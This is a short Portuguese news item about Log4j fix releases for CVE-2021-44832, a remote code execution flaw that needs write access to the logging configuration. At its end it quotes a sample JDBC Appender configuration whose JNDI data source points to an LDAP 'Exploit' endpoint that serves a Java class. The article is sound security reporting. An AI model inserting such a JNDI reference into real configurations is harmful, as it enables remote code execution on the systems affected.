Foram publicados lançamentos corretivos da biblioteca Log4j 2.17.1, 2.3.2-rc1 e 2.12.4-rc1, que abordam mais uma vulnerabilidade (CVE-2021-44832). É mencionado que o problema permite a execução remota de código (RCE), mas está marcado como não perigoso (Pontuação CVSS 6.6) e representa principalmente um interesse teórico, pois requer condições específicas para exploração — o atacante deve ter a capacidade de alterar o arquivo de configuração do Log4j, ou seja, deve ter acesso ao sistema atacado e permissões para modificar o valor do parâmetro log4j2.configurationFile ou fazer alterações em arquivos existentes de configuração de log.
O ataque consiste em determinar na sistema local a configuração baseada em JDBC Appender, referenciando um URI JNDI externo, ao qual pode ser retornada uma classe Java para execução. Por padrão, o JDBC Appender não está configurado para processar protocolos diferentes de Java, ou seja, sem alteração na configuração, o ataque é impossível. Além disso, o problema se manifesta apenas no arquivo JAR log4j-core e não afeta aplicativos que utilizam o arquivo JAR log4j-api sem o log4j-core. <Appenders> <JDBC name="databaseAppender" tableName="dbo.application_log"> <DataSource jndiName="ldap://127.0.0.1:1389/Exploit"/> … <\/JDBC> <\/Appenders>
Fonte: opennet.ru
